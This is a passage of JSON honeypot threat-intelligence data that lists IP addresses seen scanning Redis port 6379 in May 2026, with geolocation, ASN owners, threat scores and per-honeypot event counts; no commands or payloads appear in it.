      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T12:42:53.560000+00:00",
        "last_seen_30d": "2026-05-02T12:42:53.560000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "49.232.194.42": {
      "attack_count": 5,
      "first_seen": "2026-05-06T19:24:34.000Z",
      "last_seen": "2026-05-06T19:25:35.950Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 1.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T19:25:35.950000+00:00",
        "last_seen_30d": "2026-05-06T19:25:35.950000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "65.49.20.103": {
      "attack_count": 5,
      "first_seen": "2026-05-13T19:08:28.000Z",
      "last_seen": "2026-05-13T19:09:29.702Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 28,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:14:04.053000+00:00",
        "last_seen_30d": "2026-05-29T06:46:34.618000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 1
      }
    },
    "66.132.195.149": {
      "attack_count": 5,
      "first_seen": "2026-05-13T18:08:57.000Z",
      "last_seen": "2026-05-13T18:10:29.448Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T19:31:45.392000+00:00",
        "last_seen_30d": "2026-05-30T08:14:33.588000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19
      }
    },
    "66.132.195.155": {
      "attack_count": 5,
      "first_seen": "2026-05-07T03:34:10.000Z",
      "last_seen": "2026-05-07T03:35:48.948Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 59.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 29,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T19:58:59.700000+00:00",
        "last_seen_30d": "2026-05-31T09:02:49.177000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "67.205.150.42": {
      "attack_count": 5,
      "first_seen": "2026-05-03T15:45:37.000Z",
      "last_seen": "2026-05-03T15:46:46.933Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1902,
        "days_active_30d": 1,
        "ports_targeted_30d": 1900,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T10:55:50.276000+00:00",
        "last_seen_30d": "2026-05-03T16:00:19.156000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1874,
        "Honeytrap": 26,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "157.230.235.63": {
      "attack_count": 4,
      "first_seen": "2026-05-08T19:43:23.000Z",
      "last_seen": "2026-05-08T19:44:30.593Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1914,
        "days_active_30d": 2,
        "ports_targeted_30d": 1881,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T09:54:18.350000+00:00",
        "last_seen_30d": "2026-05-08T19:45:57.205000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1859,
        "Honeytrap": 53,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "34.193.119.44": {
      "attack_count": 4,
      "first_seen": "2026-05-05T23:48:40.000Z",
      "last_seen": "2026-05-05T23:49:43.057Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 87.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 237,
        "days_active_30d": 28,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T09:33:46.093000+00:00",
        "last_seen_30d": "2026-05-31T20:29:44.629000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 205,
        "Honeytrap": 25,
        "ConPot": 5,
        "Dionaea": 2
      }
    },
    "44.215.219.236": {
      "attack_count": 4,
      "first_seen": "2026-05-25T12:42:21.000Z",
      "last_seen": "2026-05-25T12:43:28.663Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 28,
        "ports_targeted_30d": 88,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T02:51:06.748000+00:00",
        "last_seen_30d": "2026-05-31T18:24:32.043000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 220,
        "Honeytrap": 26,
        "Dionaea": 1
      }
    },
    "45.142.193.118": {
      "attack_count": 4,
      "first_seen": "2026-05-09T18:20:32.000Z",
      "last_seen": "2026-05-09T18:21:34.388Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6521,
        "days_active_30d": 12,
        "ports_targeted_30d": 6553,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-08T12:54:18.709000+00:00",
        "last_seen_30d": "2026-05-19T02:05:04.707000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6521
      }
    },
    "52.21.227.35": {
      "attack_count": 4,
      "first_seen": "2026-05-07T18:05:04.000Z",
      "last_seen": "2026-05-07T18:06:12.077Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:59:35.946000+00:00",
        "last_seen_30d": "2026-05-31T21:21:34.928000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 212,
        "Honeytrap": 20,
        "ConPot": 3,
        "Dionaea": 3
      }
    },
    "88.210.63.193": {
      "attack_count": 4,
      "first_seen": "2026-05-05T23:43:31.000Z",
      "last_seen": "2026-05-05T23:44:35.504Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 17,
        "ports_targeted_30d": 191,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:10:22.932000+00:00",
        "last_seen_30d": "2026-05-18T04:55:18.805000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 200
      }
    },
    "172.110.223.139": {
      "attack_count": 1,
      "first_seen": "2026-05-17T04:44:50.284Z",
      "last_seen": "2026-05-17T04:44:50.284Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": null,
      "asn": 47154,
      "as_org": "Husam A. H. Hijazi",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1517,
        "days_active_30d": 16,
        "ports_targeted_30d": 1525,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:54:27.488000+00:00",
        "last_seen_30d": "2026-05-17T04:44:58.247000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1502,
        "Sentrypeer": 15
      }
    },
    "212.162.155.240": {
      "attack_count": 5044,
      "first_seen": "2026-05-09T18:41:21.000Z",
      "last_seen": "2026-05-10T02:48:42.339Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 210895,
      "as_org": "Podaon SIA",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 2856,
        "days_active_30d": 2,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-09T18:41:21+00:00",
        "last_seen_30d": "2026-05-10T02:48:42.339000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 1562,
        "Suricata": 1082,
        "Honeytrap": 144,
        "Tanner": 26,
        "ElasticPot": 16,
        "Dionaea": 13,
        "Honeyaml": 13
      }
    },
    "77.83.240.70": {
      "attack_count": 3352,
      "first_seen": "2026-05-03T15:38:04.000Z",
      "last_seen": "2026-05-29T03:26:00.373Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 749471,
        "days_active_30d": 29,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 17,
        "first_seen_30d": "2026-05-03T15:26:18.653000+00:00",
        "last_seen_30d": "2026-05-31T06:46:01.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 509229,
        "Honeytrap": 233322,
        "Mailoney": 1183,
        "Cowrie": 992,
        "ConPot": 978,
        "Dionaea": 823,
        "Redishoneypot": 716,
        "Miniprint": 608,
        "Adbhoney": 382,
        "Dicompot": 308,
        "H0neytr4p": 258,
        "Ipphoney": 234,
        "Tanner": 184,
        "ElasticPot": 183,
        "Honeyaml": 54,
        "Sentrypeer": 9,
        "CitrixHoneypot": 8
      }
    },
    "160.119.76.4": {
      "attack_count": 1126,
      "first_seen": "2026-05-16T22:40:48.000Z",
      "last_seen": "2026-05-29T00:49:23.793Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 88.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1078632,
        "days_active_30d": 16,
        "ports_targeted_30d": 68301,
        "honeypots_triggered_30d": 20,
        "first_seen_30d": "2026-05-16T22:37:54.495000+00:00",
        "last_seen_30d": "2026-05-31T22:19:16.641000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 767016,
        "Honeytrap": 307887,
        "Cowrie": 612,
        "Miniprint": 548,
        "ConPot": 534,
        "Mailoney": 476,
        "Sentrypeer": 471,
        "Redishoneypot": 243,
        "Dionaea": 218,
        "Adbhoney": 151,
        "Dicompot": 103,
        "ElasticPot": 96,
        "H0neytr4p": 83,
        "Tanner": 67,
        "Ipphoney": 66,
        "Honeyaml": 17,
        "Ciscoasa": 14,
        "CitrixHoneypot": 13,
        "Medpot": 8
      }
    },
    "16.58.56.214": {
      "attack_count": 469,
      "first_seen": "2026-05-02T03:22:56.000Z",
      "last_seen": "2026-05-24T03:20:10.481Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8600,
        "days_active_30d": 23,
        "ports_targeted_30d": 172,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:08:32+00:00",
        "last_seen_30d": "2026-05-24T12:15:50.743000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5327,
        "Honeytrap": 2723,
        "Redishoneypot": 136,
        "Mailoney": 123,
        "ConPot": 119,
        "Dionaea": 81,
        "Cowrie": 47,
        "Tanner": 10,
        "Ipphoney": 8,
        "Ciscoasa": 6,
        "Honeyaml": 6,
        "CitrixHoneypot": 5,
        "ElasticPot": 5,
        "H0neytr4p": 4
      }
    },
    "85.11.167.11": {
      "attack_count": 269,
      "first_seen": "2026-05-03T20:03:55.000Z",
      "last_seen": "2026-05-31T21:32:07.926Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41825,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:16:09+00:00",
        "last_seen_30d": "2026-05-31T21:32:07.926000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24783,
        "Honeytrap": 16368,
        "Heralding": 607,
        "Redishoneypot": 65,
        "Honeyaml": 2
      }
    },
    "3.129.187.38": {
      "attack_count": 263,
      "first_seen": "2026-05-07T02:57:59.000Z",
      "last_seen": "2026-05-21T03:49:27.464Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6820,
        "days_active_30d": 23,
        "ports_targeted_30d": 167,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T01:53:40+00:00",
        "last_seen_30d": "2026-05-24T12:14:59.962000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4288,
        "Honeytrap": 2140,
        "Dionaea": 108,
        "Mailoney": 85,
        "Redishoneypot": 78,
        "ConPot": 40,
        "Cowrie": 34,
        "Ipphoney": 14,
        "Honeyaml": 8,
        "Tanner": 8,
        "Ciscoasa": 6,
        "CitrixHoneypot": 4,
        "H0neytr4p": 4,
        "ElasticPot": 3
      }
    },
    "95.215.0.144": {
      "attack_count": 155,
      "first_seen": "2026-05-03T23:18:39.000Z",
      "last_seen": "2026-05-30T21:51:52.023Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44050,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 92.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 493,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T16:55:23+00:00",
        "last_seen_30d": "2026-05-30T21:51:52.023000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 362,
        "Honeytrap": 54,
        "Redishoneypot": 44,
        "Dionaea": 13,
        "ElasticPot": 6,
        "Honeyaml": 5,
        "Cowrie": 4,
        "CitrixHoneypot": 2,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "111.90.139.202": {
      "attack_count": 124,
      "first_seen": "2026-05-14T22:41:21.000Z",
      "last_seen": "2026-05-15T19:13:18.051Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 45839,
      "as_org": "Shinjiru Technology Sdn Bhd",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T22:41:22+00:00",
        "last_seen_30d": "2026-05-15T19:13:18.051000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 88,
        "Suricata": 5
      }
    },
    "5.161.239.0": {
      "attack_count": 99,
      "first_seen": "2026-05-20T12:40:52.000Z",
      "last_seen": "2026-05-22T03:42:54.220Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 213230,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1111,
        "days_active_30d": 4,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-20T09:48:17.294000+00:00",
        "last_seen_30d": "2026-05-23T21:10:48.930000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 794,
        "Honeytrap": 282,
        "Redishoneypot": 30,
        "Dionaea": 3,
        "Honeyaml": 2
      }
    },
    "3.21.158.43": {
      "attack_count": 76,
      "first_seen": "2026-05-29T03:58:53.000Z",
      "last_seen": "2026-05-29T04:13:02.088Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 37.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T03:02:04.082000+00:00",
        "last_seen_30d": "2026-05-29T04:18:53.415000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Redishoneypot": 22,
        "Honeytrap": 4
      }
    },
    "3.145.143.53": {
      "attack_count": 75,
      "first_seen": "2026-05-30T04:25:39.000Z",
      "last_seen": "2026-05-30T04:40:59.899Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 38.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-30T04:25:39+00:00",
        "last_seen_30d": "2026-05-30T06:50:04.491000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Redishoneypot": 22,
        "ConPot": 8
      }
    },
    "49.7.204.85": {
      "attack_count": 71,
      "first_seen": "2026-05-02T06:18:34.000Z",
      "last_seen": "2026-05-31T18:52:26.104Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T06:19:42.388000+00:00",
        "last_seen_30d": "2026-05-31T18:52:26.104000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "49.115.217.27": {
      "attack_count": 67,
      "first_seen": "2026-05-02T23:24:08.000Z",
      "last_seen": "2026-05-31T10:31:46.984Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 25,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T23:25:11.175000+00:00",
        "last_seen_30d": "2026-05-31T10:31:46.984000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13
      }
    },
    "106.12.184.7": {
      "attack_count": 64,
      "first_seen": "2026-05-06T03:10:21.000Z",
      "last_seen": "2026-05-30T18:46:37.492Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T03:11:31.273000+00:00",
        "last_seen_30d": "2026-05-30T18:46:37.492000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "106.75.16.140": {
      "attack_count": 62,
      "first_seen": "2026-05-02T08:49:15.000Z",
      "last_seen": "2026-05-30T08:54:26.339Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T08:50:18.932000+00:00",
        "last_seen_30d": "2026-05-30T08:54:26.339000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "160.119.76.63": {
      "attack_count": 62,
      "first_seen": "2026-05-03T01:40:57.000Z",
      "last_seen": "2026-05-21T13:02:30.783Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14348,
        "days_active_30d": 19,
        "ports_targeted_30d": 1677,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-03T01:13:32+00:00",
        "last_seen_30d": "2026-05-21T13:08:37.997000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9268,
        "Honeytrap": 4954,
        "Miniprint": 34,
        "Dionaea": 28,
        "Redishoneypot": 14,
        "Cowrie": 13,
        "Dicompot": 12,
        "ConPot": 6,
        "CitrixHoneypot": 5,
        "H0neytr4p": 5,
        "Tanner": 5,
        "Adbhoney": 4
      }
    },
    "152.32.252.94": {
      "attack_count": 55,
      "first_seen": "2026-05-05T20:03:24.000Z",
      "last_seen": "2026-05-05T20:05:30.354Z",
      "sessions": 0,
      "ports": [
        6379
      ],
